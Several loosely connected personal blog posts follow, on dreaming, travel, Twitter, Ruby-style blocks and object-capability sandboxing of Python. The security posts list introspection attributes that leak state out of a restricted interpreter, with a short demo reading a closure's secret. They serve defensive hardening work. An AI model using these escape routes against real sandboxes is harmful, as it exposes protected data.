I spent most of my youth in these fantasies — both awake and asleep. But somehow, despite not spending much time reading my textbooks — I'd just skim them for an overview — I seemed to be excelling at my studies.

This was always a puzzle to me — how did I know things which I had't studied? Instead of actually studying the damned texts, I would be fantasising about what I would be doing in the future with the knowledge I would have by studying the texts.

Years later, Mamading Ceesay would have an answer for me. He postulates that by skimming the texts and then exploring scenarios related to their content in my dreams, I was somehow actually reading the texts!!

Let me break that one down. We have a relatively high level of bandwidth for taking in information. The problem is in the processing of it. It takes time to actually understand the content. But what if we offload this to dream time?

If we trust that our pre-conscious mind will somehow remember every page we look at — no matter how briefly — then we can rely on it to process the information for us. All we need to do is to give it focus — which is achieved by doing the scenario setup for the dream — tada!!

It seems that in my dreams I was doing something similar to those in the famous basketball experiment. And the current research on mirror neurons seems to back up the act of “assuming” knowledge during the dreams.

by ToniVC

I also use time shift dreaming to come up with creative solutions to problems — by jumping into a future scenario where I've solved the problem.

And often I wake up with solutions. Be warned that this particular use of the technique sometimes takes a few iterations though…

But the practice that has really helped me a lot is jumping into the past. This is the reason that I started entertaining these fantasies in the first place — to re-explore the past.

By doing this I've managed to resolve many of the emotional traumas in my life. Most people generally suppress unpleasant events. The lucky ones pay expensive therapists to help get beyond these.

By re-exploring the past in time shift dreaming, I've found that I can practice self therapy and just resolve these myself!

Simply put yourself into a past scenario which you wish could have been different and explore different realities. Watch and listen. Try out different actions on behalf of yourself and everyone else involved.

Keep repeating this — making subtle changes every time. If a scenario proves to be too painful to re-live directly, work on it gradually. Explore related scenarios until you are comfortable enough.

And, eventually, you'll reach a turnaround and find yourself much happier. Not only will you have gained much better understanding of the events, but hopefully you also gained a better understanding of everyone else's actions.

I've used this to good effect and have been able to overcome traumas like growing up in a civil war/genocide and being homeless as a teenager. My anxieties and anger replaced by love and forgiveness.

Again, according to Mr. Ceesay, what's happening here is something akin to anchoring. In my dreams, I'm anchoring pleasant experiences in place of the unpleasant ones.

Whether this is true or not I do not know. Whether any of this will work for you I do not know. All I know is that it works for me. And by sharing I hope I've provided some useful insights for you.

It would be interesting to see how everyone else finds time shift dreaming though. If you're up for it, why don't you have a go? Perhaps even blog about your ongoing experience?

You can leave a link in the comments below for others to follow.

By trying this out independently we could figure out what does work for everyone and what doesn't. At the very least, it's an extremely fun and addictive form of escapism. Enjoy and let me know how it fares for you!

And, oh, let me know if you'd care to know any other life tips of mine or whether this is enough for one life time ;p

Matthieu was my housemate of 2 years @ Brushfield Riva and is the best housemate that I've ever had!

He is one of the kindest souls that one is ever likely to meet and a real pleasure to hang out with.

Wise, talented, fun, interesting, helpful — everything that one could ever hope for in a friend, one finds with Matt.

He not only turned around my impression of the French, but also gave me reasons to appreciate many aspects of its culture.

Lots of love to you brother and happy birthday!!

[Blog, Twitter #googlestrike and Facebook this as much as you can — Thanks!]

This is a call to boycott Google AdSense until they change their new monitoring policy to be opt-in.

Earlier today, Google announced that they will be monitoring everybody's online activity. This is clearly a violation of their “Don't Be Evil” policy.

In their quest to serve more targeted ads, Google will now start tracking the sites that we all visit. They can do this because a lot of sites use Google AdSense.

And every time we visit these sites running AdSense, Google will know exactly where we've been. This is an extreme breach of privacy! We must act now or risk handing over our privacy permanently.

So this is a call to all network admins — in homes, offices, university campuses, ISPs and anywhere else — to please add the following 2 lines to your hosts file:

127.0.0.1   pagead2.googlesyndication.com
127.0.0.1   googlesyndication.com

If you are not an admin, then get in touch with whoever runs your local home/office/ISP/university networks and get them to make the change.

By doing this, you will disable Google's tracking as well as take away their revenue — an online equivalent of boycotting. If it is not made clear that our privacy is important, the rest of the industry will simply follow Google's lead even further.

So when should we stop boycotting Google AdSense? When they make it opt-in instead of the current opt-out they provide on their ad preferences page.

It's like having an invisible spy camera following you around

The problem with opt-out is that most users simply don't understand the technical details. As Tim Berners-Lee points out it's like having an invisible spy camera following you around.

Most people simply don't even know that it's there! And worse, with Google's current implementation, you have to opt-out from every browser and machine you ever use!! This is outrageous!

If Google would make this opt-in on the other hand, I will happily let them know what my interests are so that they can serve me more relevant ads. There is value in behavioural targetting and Google can derive the same value without having to intrude on our privacy.

But letting Google know my interests is one thing and letting them know every website that I ever visit is a different matter altogether. For that, if some users want to help Google, then fine, let them do so and let them opt-in.

Countries like France are already planning to take away net neutrality — with their upcoming anti-P2P law, illegal filesharers will be denied internet access for up to a year and open Wi-Fi hotspots will only be allowed to give access to whitelisted sites.

With unhealthy legislation/censorship like this being forced upon the world, we really don't need Google adding to our pains and taking away what little privacy we have left.

I'll update this blog article if/when Google do reverse their policy to opt-in. Keep it bookmarked so that you can stop the boycott =)

Please comment, blog, twitter #googlestrike and facebook this as much as you can — Thanks!

Athini is Sofia's sister and was our host when we decided to spend a month away in Ibiza. She's been living there for a few years now and made our stay super nice.

Leo, the father of her adorable 3-year old Sky, picked us up from the airport and dropped us off at Casita Verde where she was teaching Tai chi.

Casita Verde was everything that I had not expected from Ibiza.

It turns out that there is more to the island of Eivissa than the clubbing scenes that we're familiar with. Seemingly limited to the “English” part of the island where fat girls walk around semi-naked, the rest of the island is rather tranquil and magical.

Casita Verde itself is an interesting eco-centre situated in a beautiful valley. The people who gathered there were very interesting to talk to and the organic meals they served were delicious!!

And as luck would have it, the DJ was playing music by my old housemate Saritah which endeared myself to the place even more.

After hanging around there for a while, Athini took us to her home. She'd managed to find a villa for us to stay that was only a few minutes drive from her house — we were going to be neighbours for a month!

The Can Paloma Villa, owned by an eccentric German artist called Eckhard Neumann, was absolutely gorgeous!

Normally rented out to groups of a dozen-odd people, Sofia and I had the whole place to ourselves. And thanks to visiting off-season, it cost less than the rent for our tiny flat in the UK!

Over the next month, Sofia and I worked away on our laptops — disconnected from the rest of the world and the internet.

Athini, Leo and little Sky gave us great company which stopped us going insane from cabin fever. And the visits from Ecki and Schnusch (his cute dog) were an absolute delight.

But it wasn't all hunky dory. I managed to fall ill with some chest infection and had to be nursed back to good health by Sofia. Alright, alright, this was actually really nice ;p

But it turned out that the inhabitants of Ibiza were in a really bad shape economically. Being way-too-dependent on tourism, the finances of everyone were cyclical — great in the summer, crap in the winter.

Clubs like Pacha were dead even though they had a lot of space for interesting things to happen. Talented people were sitting at home without jobs or money.

This is quite a sorry state and reflective of the global economy as a whole. Fundamentally, we do not lack the resources or man-power to make things viable. It's simply a question of whether we can co-ordinate them effectively.

And I think Ibiza provides an excellent opportunity for such a venture to be attempted. If the collective resources and talent could be applied effectively, there is nothing stopping the inhabitants of Ibiza from being able to have an extremely high quality of life all year round.

Mamading's article on Local Community Economics for Security in an Unstable World (Spanish version) is an interesting read in this regard.

Who'd be interested in making this happen? Let me know!

Guido van Rossum posted a blog article on Capabilities for Python. As I'd instigated this whole thread, I figure I should give everyone an update… (along with a quick summary of the story so far).

The aim has been to enable object-capability in Python. Python already supports doing the following — a port of the sample in Mark S. Miller's Capability-based Financial Instruments:

def Mint(name):

    sealer, unsealer = makeBrandPair(name)

    def __str__():
        return "%s's mint" % name

    def Purse(purse_name, balance):

        this = Attr(balance=balance)

        def decr(amount):
            if (this.balance - amount) < 0:
                raise ValueError("Can't decrement balance below 0.")
            this.balance -= amount

        def __str__():
            return "%s has %i %s bucks" % (purse_name, this.balance, name)

        def getBalance():
            return this.balance

        def sprout():
            return Purse('from %s:' % purse_name, 0)

        def getDecr():
            return sealer.seal(decr)

        def deposit(amount, src):
            unsealer.unseal(src.getDecr())(amount)
            this.balance += amount

        return Namespace(
            decr, __str__, getBalance, sprout, getDecr, deposit
            )

    return Namespace(__str__, Purse)

Two utility functions are used to make life easier for developers:

• Namespace returns an object which behaves similarly to “standard” class-based objects.
• Attr provides a utility object to get beyond scope limitations pre-Python 3.0

Using this functional approach, we can start our journey towards object capability in Python =)

First, we need to ensure that a user can't get hold of the global state somehow. Whilst a lot of existing Python libraries use global state, there is nothing in the core language itself that requires this to be the case.

So we needed to identify the attributes of built-in types which “leak” global state, e.g.

• FunctionType.func_globals
• FrameType.f_locals

I issued a security challenge which helped identify a number of these and am following it up by doing a manual audit of the CPython implementation to further verify the “final” list of leak attributes.

[If anyone wants to help, please get in touch — tav@espians.com]

Assuming we do identify the full list — there are only so many builtin types and attributes in Python after all! — we can start with a clean slate and do object-capability in Python. I explain in detail in my earlier blog article on Securing the Python Interpreter.

The short of it is that this can be enabled today in about 100 odd lines of code by removing the “leak” variables using Python's ctypes module — see safelite.py for a simple implementation. And for contexts like App Engine, where ctypes isn't accessible, I provided a small patch for the interpreter itself.

The next problem is in making as much of the existing standard library accessible. As Guido rightly points out in his blog article, most people aren't going to use a capability-secure subset of Python if it doesn't offer any value!!

And given that no-one is going to volunteer to rewrite the entire standard library, I figured we could take a short cut by using minimal wrappers *wink*.

This would be great, but there's been one last (identified) hurdle: some of Python's builtins automatically call certain class-based protocols, e.g. __int__, __iter__, etc. for type coercion, iteration, etc.

And to make matters worse certain builtins like input evaluate in the calling scope! But we can bypass this — unless someone tells me otherwise — by putting a type guard in front of our functions. I've written a guard decorator in the latest safelite.py to make this easier — let me know if it works for you.

We are using a functional approach anyhow, so the class-based protocols are meaningless. Thus no real functionality should be lost. It'd just make wrapping the existing standard library much much easier.

And with that, the stage is hopefully set to herald a new future. Here is the implementation of a file reader which wraps Python's builtin open:

@guard(filename=str, mode=str, buffering=int)
def FileReader(filename, mode='r', buffering=0):
    """A secure file reader."""

    if mode not in ['r', 'rb', 'rU']:
        raise ValueError("Only read modes are allowed.")

    fileobj = open_file(filename, mode, buffering)

    def __repr__():
        return '<FileReader: %r>' % filename

    def close():
        fileobj.close()

    @guard(bufsize=int)
    def read(bufsize=-1):
        return fileobj.read(bufsize)

    @guard(size=int)
    def readlines(size=-1):
        return fileobj.readlines(size)

    @guard(offset=int, whence=int)
    def seek(offset, whence=0):
        fileobj.seek(offset, whence)

    return Namespace(__repr__, close, read, readlines, seek)

Code which has a reference to FileReader would be able to read files but — assuming we've identified all the leak attributes — never be able to get a reference to the “real” file_open which FileReader uses internally.

Code can pass on references to read() to other code without exposing a reference to seek(), etc.

The final key bit missing is a secure import. For this, I've been working on something called pimp which will allow for remote loading of code using object capability principles over HTTP in a manner similar to the Web Calculus.

And with that, this update has come to a close. Do get in touch if any of this interests you and you'd like to work together!

And, as always, let me know your thoughts in the comments below. Thanks!

Now if you run a blog there are lots of services to help you analyse your traffic. Personally, I find Google Analytics to be pretty good. But there's a slight problem. It's not real-time.

Even if you use this “trick”, you are still lagged by a few hours. I am happy to wait for the detailed analysis that Analytics gives me, but I want some basic info in real-time.

Seeing as I'm running the blog on my own server, it's just a question of parsing the Apache access logs. But despite my efforts, I couldn't find a really simple parser for these logs.

All I care about is:

• What are people currently looking at?
• Who and how many people are visiting?
• Where are they coming from? Who is referring to me?

Failing to find a simple script, I initially just ran commands like:

grep "^tav" access.2009-03-* | awk '{print $12}' | sort | uniq

But this got slightly annoying after a while, so I wrote a simple script. I wrote this just for myself, but if anyone is interested, here it is: logrep.py

Running:

./logrep.py access.2009-03-* -what -total

outputs <number-of-total-requests> <number-of-requests-from-unique-ips> <url-requested>:

1009    668     /a-challenge-to-break-python-security.html
6298    1023    /feed.rss
10595   8912    /ruby-style-blocks-in-python.html

There's a similar:

./logrep.py access.2009-03-* -where -total -prune

where -prune combines together urls with different ?query-strings:

1014    972     http://news.ycombinator.com/
2966    2904    http://www.reddit.com/

And:

./logrep.py access.2009-03-* -who -total

which outputs the obvious total number of visitors (unique ip addresses), e.g.:

18314

You can pass in some additional filters:

• --vhost tav.espians.com will filter on just requests to that vhost.
• -all will include statistic for requests which weren't served successfully, e.g. 404s, 301s, etc.
• --ignore /favicon.ico,/robots.txt will filter out requests to the given list of URLs.

Again, I wrote this just for myself. But like with all my work, I'm placing it in the public domain if anyone else fancies using it: logrep.py

Enjoy!

Blocks are supposedly the most liked feature in Ruby. This proposal would enable a similar feature in Python:

using webapp.runner do (config):
    config.time_zone = 'UTC'
    config.log_level = 'debug'

Compare that to the Ruby equivalent:

Rails::Initializer.run do |config|
    config.time_zone = 'UTC'
    config.log_level = :debug
end

Unless I am missing something fundamental, adding a do statement seems to lend itself to doing blocks in a Pythonic way.

For those of you that don't know Ruby, blocks are simply syntactic sugar for defining anonymous functions/closures.

This is already possible in Python using the rather complicated-looking lambda keyword:

employees.select(lambda e: e.salary > developer.salary)

In contrast, Ruby provides the really sexy:

employees.select {|e| e.salary > developer.salary}

Where lambda limits Python developers to just expressions, Ruby allows for full multi-line blocks:

employees.select do |emp|
    if emp.salary > developer.salary
        fireEmployee(emp)
    else
        extendContract(emp)
    end
end

This is also possible in Python but at the needless cost of naming and defining a function first:

def throwaway_function(emp):
    if emp.salary > developer.salary:
        return fireEmployee(emp)
    else:
        return extendContract(emp)

employees.select(throwaway_function)

This is where my proposed do statement comes in, it would simplify the above to:

using employees.select do (emp):
    if emp.salary > developer.salary:
        return fireEmployee(emp)
    else:
        return extendContract(emp)

Which is hopefully simple and Pythonic enough to everyone's tastes to make this a reality for Python 2.7 and 3.1.

To facilitate this the grammar would need to be extended to something like:

using_stmt ::=
  "using" expression "do" [parameter_list] ":" suite

And when the do keyword is encountered, functionality should be delegated to a __do__ function in the same way that the import keyword delegates to __import__.

The delegation should map the following syntax:

using EXPR do PARAM_LIST:
    BLOCK_CODE

into the function call:

__do__(expr, callback, globals, locals)

Where callback is a function named ‘<callback>’ compiled with PARAM_LIST as its parameter_list and BLOCK_CODE as the function body. Like with import, globals() and locals() should be from the scope of the do statement.

As a starting point for discussion, I would like to propose the following as the default __do__ function:

def __do__(expr, callback, globals, locals):
    retval = None
    while 1:
        try:
            args = expr.send(retval)
            if not isinstance(args, tuple):
                args = (args,)
            retval = callback(*args)
        except StopIteration:
            break

This works thanks to Python's support of coroutines through generators [PEP 342] and would cover the common case of a generator instance being passed in as the EXPR.

And it just so happens to mirror the semantics of Ruby blocks quite beautifully:

>>> def generator():
...     yield
...     yield

>>> using generator() do:
...     print "hello world"
hello world
hello world

The only aspect missing is Ruby's block_given? but that could easily be supported by alternative __do__ implementations if the need arises.

I expect the dominant usage of blocks to be for the creation of DSLs. This has almost become an art form in the Ruby world — with everything from Rake tasks to Rails configuration being done through mini-DSLs built using blocks.

It would be interesting to see what the Python world comes up with. The ability to custom define __do__ would allow Python hackers to do some really cool shit with blocks that Ruby hackers can't do for the moment.

And I can imagine a lot of existing frameworks like Twisted, Trellis, Eventlet and Django becoming even more simplified and powerful thanks to blocks.

What do you think?

Idealist Addendum:

Whilst I believe the above should suit Guido's taste, I am not so sure of the following. But in an ideal world, he would give it his blessing, so here goes =)

Ideally the do statement would map the following syntax:

using EXPR1 do EXPR2:
    BLOCK_CODE

into the function call:

__do__(expr1, expr2, block_code, indent_level, globals, locals)

This would give the __do__ function even more flexibility at very little cost. By default, EXPR2 would be treated as PARAM_LIST and together with BLOCK_CODE it would be compiled into the callback function described above.

But more enterprising __do__ functions could do interesting things like rewriting the AST of the BLOCK_CODE. Given that this is already done by many many Python libraries, it's not much of a stretch of the imagination. The benefit? Super nice Pythonic DSLs!

Anyways, that's enough ranting for one morning. What do you think? Let me know in the comments or on the Python-Dev mailing list.

— Thanks, @tav

So I need your help. Because I know fuck all about filming or editing.

Despite creating the likes of green.tv and setting up an entire company to provide online video services, my knowledge of film making is close to non-existent.

If you want to know about scalable online distribution or digital video encoding, then I can give you expert advice. But film making? Not a clue.

The closest I've ever gotten to actual editing was as part of the Video Production Society at Dulwich College. Back then it was mostly analog and Adobe Premiere 1.0 just gave me lots of headaches.

So as I get back into it over 15 years later, my setup is:

• Core 2 Duo 2.4Ghz Macbook w/ 4GB of RAM
• External 1TB Networked Hard Drive
• iLife '08, iWork '09
• Final Cut Express, Logic Express

Is this good enough? I didn't go for the Pro versions given the price and decided to ease myself in with the Express versions. Would iMovie have been enough?

What are tutorials, podcasts and websites I should check out to get started very quickly?

As for the video capturing process, should I shell out on an actual camera or is something like the Flip good enough to get started with?

by Vincent Laforet

I've been drooling over the Canon 5D Mark II. It produces the stunning visuals you see in this article!!

I don't of course expect to produce anything quite so spectacular yet. But if one day I could afford to buy it, would it be any better than a Flip in the hands of a newbie like myself?

And, finally, instead of hosting the videos myself, it seems that it's better to put them up on sites with active communities.

I've signed up to Vimeo for this as they seem to have really vibrant and artistic community. Is this a good choice?

Have any of you been video blogging or film making? What have your experiences been? Am I approaching all this completely wrong?

Please let me know any thoughts you may have in the comments. Thanks!

This thought-provoking video is worth watching:

It reinforces the words of Mamading Ceesay: "The whole world is going to be experiencing environmentally-induced ADHD pretty soon".

Which leads me to worry about the social implications of this increasing pace. Being able to overcome information overload and limiting your attention to what really matters to you is going to be absolutely vital in the future.

But if we are going to prepare for that, we also need to know the rate of the current flow. How long does it take for a meme to become a part of daily life for a population of 10 million people? How long does it take for a meme to be known by 100 million people?

By knowing these and other related data points to “Meme Time”, we would be better placed to adapt. Maybe we are heading towards The Singularity after all?

Would it be possible to start gathering enough statistics to get a relatively accurate picture? How could we do this so that it brings the greatest benefits to everyone? How would we handle the privacy issues?

As usual, let me know your thoughts in the comments. Thanks!

This year has been great for music. My favourite musician, A. R. Rahman, won 2 Oscars whilst my favourite band, Daft Punk, won 2 Grammys!

As much as one might try to hate the French, you just can't knock Daft Punk. Their music is great and they are amazing performers.

But for the love of Google, I have been able to find sweet fuck all for Daft Punk tour dates in 2009.

So if any of you happen to know where they can be seen in the near future, please let me know in the comments!!

And if any of you happen to know them personally, then I'd love for them to perform at my birthday sometime. It doesn't have to be this year, next year is fine too ;p

by moriza

We practised this in face-to-face conversations and found it to be a great success!

Paradoxically, limiting the “bandwidth” led to richer conversations. It encouraged everyone to truly listen to each other and kept issues on topic.

And, most importantly, it put everyone involved on an equal footing — allowing focus to be placed upon the content instead of whoever can dominate the room.

The application of this approach is extremely broad. From resolving personal conflicts to working out the kinks in a new idea. Try the oneline approach on Twitter and let me know how it works out for you.

Oneline Rules:

1. Only 2 people to a oneline dialogue.
2. You must @reply to keep the conversation going.
3. All tweets must end with #oneline.
4. No more than one tweet at a time by each party.
5. It's over if neither party continues within 24 hours.

Recent Onelines:

Krishnamurthy on Listening:

[Also see the more agressive TweetFight variant if you are in the mood for a fight rather than a pleasant conversation.]

TweetFight Rules:

1. Only 2 people to a tweetfight.
2. You must @reply your opponent to keep the fight going.
3. All tweets relating to a fight must end with #tweetfight.
4. No more than one tweet at a time by each party.
5. Fights are over if neither party continues within 12 hours.
6. Last person tweeting wins.

Fights can be civil, intellectual or even foul. It's your choice.

Recent TweetFights:

Credits:

• @evangineer — Idea of a Twitter “Celebrity Death Match”.
• @happyseaurchin — Idea of “one sentence at a time” to facilitate rich conversations.
• @olasofia — The Fight Club metaphor.
• @tav — Design and implementation.

[Also see the more constructive OneLine variant if you are in the mood for a conversation rather than a fight.]

[Well, technically, she got invited and I tagged along as the co-facilitator — aka “Slave”]

The hard working guys at Banana Link had been at this for years now. And the seed for it had been set at the 2nd International Banana Conference.

Our task was to get everyone to talk to each other and commit to being active in a new body that was representative of all in the industry.

And all this in 3 days.

So we shipped over a whole bunch of stationery to Amsterdam and got there in time to check out the venue before heading to dinner with all the other participants.

If we had expected this to be easy in any way, the dinner proved without a doubt that it was going to be an uphill battle. Everyone was pleasant, but there were quite clearly 2 separate camps:

• The small producers from places like the Philippines, Windward Islands, Costa Rica, &c. along with their NGO friendlies like the Fairtrade Foundation.
• The large producers like Chiquita, Dole, &c. who own more than 80% of the Banana export industry and their retailer friendlies.

Many of the representatives even went so far as to keep themselves physically separated across the tables in the restaurant!

But the fact that all these representatives were willing to be here at least was a good sign. The only class of key players who were notably absent were Big Retail: Walmart, Carrefour and Tesco.

So we set to it and over two days a transformation began to take place. The team of interpreters bridged the language gaps whilst Sofia and I took everyone through a bastardised process of World Café, Open Space and Dotmocracy.

And slowly but surely everyone realised that they did in fact share a lot of the same problems and ideals!

Very quickly after that consensus was reached on the Multi-Stakeholder Forum. And everyone, including the big players, made their commitments to it!!

We celebrated the success by dancing the night away in Amsterdam and even managed to hang out with Steve Alexander and his buddies during their Improv Theater performance.

The whole experience was great fun and made us want to bring together similar bodies across all industries! There isn't enough dialogue taking place with real action behind it.

It was also the first time Sofia and I had worked together just by ourselves in an external project and we were great together. It turns out that working together with your girlfriend can be loads of fun!

Finally, I found the experience extremely enlightening. It forced me to go on a crash-course (prior to the event) and learn about the various issues relating to the Banana industry.

And the issues that the various participants brought up helped re-emphasise to me that the solutions provided by the Plex Economy are very much needed. Not just bloggers, musicians and coders — but entire industries — are ready for it!

A few weeks ago I had registered several Twitter accounts for use in an upcoming Twitter application — Tweet20. I'd registered accounts like: @tweetyes, @tweetno, @tweetoffer, @tweetwant and @tweetlocation.

But it turns out that if you register too many accounts concurrently, the Twitter spam controls are triggered. So a little while after the accounts got registered, I found to my surprise that most of them had been suspended!!

Slightly surprised at why non-spam accounts would get suspended — most of those accounts hadn't even been used and were too recent to count as name-squatting! — I got in touch with the Twitter folk and made my case.

But on the first go, my appeal got rejected and the issue was closed. After being pissed off momentarily, I told myself off for depending on other people's platforms and got in touch with the Twitter support staff who had closed the issue.

Del Harvey (@delbius) turned out to be quite pleasant to engage and after a little while, my accounts were re-enabled. Woo!!

In the meantime, I had been helping out Ryan Williams (@ryanwi) on the Twitter-Dev list with getting Twitter OAuth working on App Engine. I put this out as open source for others to use — tweetapp — and promptly forgot about it.

But, much to my pleasant surprise, not only did it get picked up by a Google App Engine Product Manager, Mike Repass (@mdrcode), but Alex Payne (@al3x), the Twitter API lead made the statement you see in the above image — which I discovered whilst reading the GitHub blog!

And thus in the course of a week I had gone from being treated as a spammer by Twitter Inc. to being appreciated by one of its leading members. Down and up we go!

Lesson to take away from this? Just keep on providing demonstrable value and you will be rewarded positively.

Have you had similar turnarounds with other organisations? Or perhaps even with Twitter Inc. too? Let me know in the comments!

There have been many attempts to secure the Python interpreter so that untrusted code can be safely executed alongside trusted code. Working attempts like RestrictedPython and zope.proxy unfortunately come at a high cost in terms of performance.

Old-school Python hackers would probably remember the deprecated rexec module which used to be enabled in the standard library. This module, along with it's Bastion sibling, provided a framework for “restricted execution” of Python code.

The rexec module encouraged a certain design pattern which depended on class attributes being kept “private” from untrusted code. Unfortunately, Python's introspection powers are heavily geared against this and there are many many dark corners from which one can peer deep into the heart of classes.

So it was no surprise that, soon after the introduction of new-style classes in Python, rexec was dumped. And all hopes of securing the Python interpreter in an efficient way went the way of Plan 9.

Now, those in the security world are probably aware of the Object Capability model of security as pioneered by the likes of the Actors model and the E language. Entire Operating Systems have been implemented free of viruses thanks to this model.

For a long while I have felt that there exists a major subset of Python that is suited for use through the object capability model. After all capabilities are just non-forgeable references. We already have this in Python.

The next step is to simply ensure that there is no global shared state. And whilst a lot of existing code uses global shared state, there is nothing in the Python language that imposes this limitation. Thus it should be possible to isolate a capability-secure subset of Python and build up from there.

Since I've had this insight, the Google Caja project have done the exact same for Javascript. They identified a capability-secure subset of Javascript and have built up from there…

So how can we Python hackers get beyond shared state? After all, there is no “private” in Python. Right?

Well, not quite. We can use closures as an easy way of emulating a private scope in Python. After all this is how it's done in other capability-based languages. This is nothing new. Ka-Ping Yee had this insight on Python-Dev years ago!

But what about Python's various introspective powers you ask? Unlike the deep plumbing of classes, Python's functions are relatively isolated and makes our life much easier. This makes sense when you realise that Python classes are actually syntactic sugar and sets of protocols on top of functions.

But functions aren't opaque beasts by default. There are a number of variables which “leak” information. The ones I identified were:

• FunctionType.func_closure/__closure__
• FunctionType.func_code/__code__
• FunctionType.func_globals/__globals__
• GeneratorType.gi_code
• GeneratorType.gi_frame
• type.__subclasses__

And thanks to the Python security challenge using safelite.py we've been able to identify attributes of FrameType as additional ones, e.g.

• FrameType.f_locals

As you can see this is a pretty small list. (Especial thanks to Paul Cannon for being the first with his hardcore hack to show that frame objects are accessible.)

Now this list is in no way the definitive final list. The Python challenge is still ongoing — try safelite.py yourself and see if you can find more! But the fact that there have been no new exploits in the last 24 hours despite over a 1,000 unique downloads of safelite.py in the same time gives me some confidence that we are getting towards a comprehensive list.

If we can ensure that untrusted code will never be able to access the final list of these variables, then we can ensure that “private” data using closures stays private. And from that basis, we can start building an object capability framework in Python!!

In safelite.py, I use ctypes to completely remove these variables from the Python interpreter. This is a neat approach which Phillip J. Eby showed me and means that we can start building an object capability framework in Python today!

The flip-side of removing these variables however is that the code which uses these variables won't work. Boo! So I made getter functions like sys.get_func_code and patched the handful of functions in the standard library like inspect.getargspec to use these instead.

The idea being that trusted code would have a reference to the sys module and be able to use them whilst untrusted code would not. But Guido van Rossum — in the conversation that started here — convinced me that Python already has the support for doing this!

And this is where our old friend rexec deserves some thanking. It turns out that rexec is only one half of Python's restricted execution support. The other half has been living inside the Python Interpreter for well over a decade. For the sake of simplicity let's call this PIRE — Python Interpreter's Restricted Execution.

And since there is seemingly no comprehensive documentation of PIRE, I'll provide a summary here.

Whenever you read/write an attribute on one of Python's builtin objects, it will raise a RuntimeError stating that the attributed is restricted if both of the following conditions are true:

• The attribute has a READ_RESTRICTED and/or WRITE_RESTRICTED flag set.
• PyEval_GetRestricted() returns True.

The flags are set when members of an object are defined. For example, in funcobject.c we find:

static PyMemberDef func_memberlist[] = {
  {"func_closure", T_OBJECT, OFF(func_closure), RESTRICTED|READONLY},
  {"func_doc", T_OBJECT, OFF(func_doc), WRITE_RESTRICTED},
  {"__doc__", T_OBJECT, OFF(func_doc), WRITE_RESTRICTED},
  {"func_globals", T_OBJECT, OFF(func_globals), RESTRICTED|READONLY},
  {"__module__", T_OBJECT, OFF(func_module), WRITE_RESTRICTED},
  {NULL}  /* Sentinel */
};

where RESTRICTED is just a shorthand for READ_RESTRICTED|WRITE_RESTRICTED.

As for PyEval_GetRestricted, a pure Python equivalent would look like:

import __builtin__

def PyEval_GetRestricted():
    """Return if the we are in restricted execution."""

    current_frame = PyEval_GetFrame()
    if current_frame.__builtins__ != __builtin__:
        return True
    else:
        return False

In other words, it checks to see if the __builtins__ variable in the current execution frame is the exact same as the default __builtin__ module [Note the difference in spelling of the two variables]. If they differ, restricted execution is assumed.

Let's see how this works out in practice:

>>> import md5, inspect

>>> def dummy(secret):
...     """A dummy function which creates a closure."""
...
...     def get_secret_hash(hexdigest=True):
...         if hexdigest:
...             return md5.new(secret).hexdigest()
...         return md5.new(secret).digest()
...
...     return get_secret_hash

>>> get_secret_hash = dummy('My Secret.')

In normal execution, we can access the func_closure attribute:

>>> get_secret_hash.func_closure
(<cell at 0x23da10: str object at 0x23ef98>,)

And use that to get at the secret:

>>> get_secret_hash.func_closure[0].cell_contents
'My Secret.'

But if we set the __builtins__ variable, restricted execution mode kicks in:

>>> __builtins__ = {}

>>> get_secret_hash.func_closure
Traceback (most recent call last):
...
RuntimeError: restricted attribute

Tada!!

Now the eagle-eyed amongst you would have noticed the import of the inspect module above. We will use this to show how trusted code can still access restricted attributes whilst within restricted execution. The inspect module has a useful getargspec function which accesses restricted attributes to find a function's signature. And, as we can see, it works even in restricted execution mode:

>>> inspect.getargspec(get_secret_hash)
(['hexdigest'], None, None, (True,))

Why does this work? Because the scope in which getargspec was defined didn't have a custom __builtins__ and this was captured in the getargspec.func_globals. This is just genius! And it provides us with a framework on top of which we can build the object capability secure Python.

All we need to do is add the identified set of leak variables to the existing set of restricted attributes. For those who are not familiar with the internals of PIRE, I present a summary here of the current (in Python's SVN trunk) set of restricted attributes.

The bitwise-OR-able flag contants are defined in structmember.h:

READ_RESTRICTED	Not readable in restricted mode.
WRITE_RESTRICTED	Not writable in restricted mode.
RESTRICTED	Not readable or writable in restricted mode.

In classobject.c, instance method objects:

im_class	RESTRICTED
im_func	RESTRICTED
__func__	RESTRICTED
im_self	RESTRICTED
__self__	RESTRICTED

In classobject.c, class objects:

__dict__	RESTRICTED
__class__	WRITE_RESTRICTED

In classobject.c, instance objects:

__dict__	RESTRICTED
__class__	RESTRICTED

In cPickle.c:

A private copy of the Pickler registry tables is used when PyEval_GetRestricted().

In fileobject.c:

The file() constructor will raise an error when PyEval_GetRestricted().

In funcobject.c, function objects:

func_closure	RESTRICTED
__closure__	RESTRICTED
func_code	RESTRICTED
__code__	RESTRICTED
func_defaults	RESTRICTED
__defaults__	RESTRICTED
func_dict	RESTRICTED
__dict__	RESTRICTED
func_doc	WRITE_RESTRICTED
__doc__	WRITE_RESTRICTED
func_globals	RESTRICTED
__globals__	RESTRICTED
func_name	WRITE_RESTRICTED
__name__	WRITE_RESTRICTED
__module__	WRITE_RESTRICTED

In marshal.c:

Unmarshalling code objects will raise an error when PyEval_GetRestricted().

In methodobject.c, bultin functions:

__self__	RESTRICTED
__module__	WRITE_RESTRICTED

As you can see some of the “leak” attributes that I want to restrict are already restricted in Python! All we need to do is add the following changes:

In codeobject.c:

Creating new code objects directly will raise an error when PyEval_GetRestricted().

In frameobject.c:

All attributes of Frame objects are restricted except for f_restricted.

In genobject.c:

gi_code	RESTRICTED
gi_frame	RESTRICTED

In typeobject.c:

__subclasses__

RESTRICTED

The nice thing about this is that we can then use it in environments like Google App Engine, where we cannot use the ctypes-based approach.

Here's my patch for Python's SVN trunk: pytrunk.secure.patch

You can review the patch for acceptance into Python core here:

• http://codereview.appspot.com/20051/show

With this patch in place (and assuming that there aren't more “leak” attributes lying around), we can start building up a true, secure, object-capability framework in Python.

We'd need to add things like import mechanisms and start whitelisting builtin functions for use. This is a big undertaking and is one that I am committed to — and will appreciate fellow collaborators who want to make this happen. That includes you hopefully =)

Now, some of you may be wondering what the fuss is? Why bother creating such an object capability framework in Python? For that let me give you a few use cases. All on App Engine.

Custom Templates by Users

Web applications like Blogger don't allow users to customise their blogs using a rich language. Instead they have a proprietary templating system which for the most part is just variable substitution.

Imagine instead if you could let your users use a templating language like Genshi. Users could have the full expresivity of the Python language to generate the output they want.

The problem with letting users do that today is that they would be able to use it to get at the rest of your application and start doing evil things to your database.

